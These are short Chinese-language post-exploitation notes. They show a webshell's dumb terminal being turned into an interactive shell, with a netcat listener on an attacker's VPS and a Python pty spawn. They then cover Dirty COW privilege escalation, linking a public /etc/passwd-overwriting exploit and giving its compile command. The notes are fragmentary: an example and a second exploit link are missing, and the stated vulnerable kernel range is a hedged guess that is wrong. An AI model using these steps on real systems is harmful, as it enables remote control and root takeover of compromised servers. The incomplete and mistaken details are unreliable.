标准Shell
Linux在使用蚁剑开启的虚拟终端是非交互式的(not pty)
需要获取交互式shell
获取方式举例()
1 | vps: nc -lvvp 9999 |
获取基础bash后可利用Python获取pty:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
脏牛提权
漏洞存在于Linux kernel >= 2.6.22 应该是<2.* ?存疑
有两个EXP,一个是可以写文件的,另外一个是修改etc/passwd的
修改etc/passwd:
利用链接
https://github.com/FireFart/dirtycow
1 | gcc -pthread dirtycow.c -o dirtycow hello -lcrypt |
写入文件
利用链接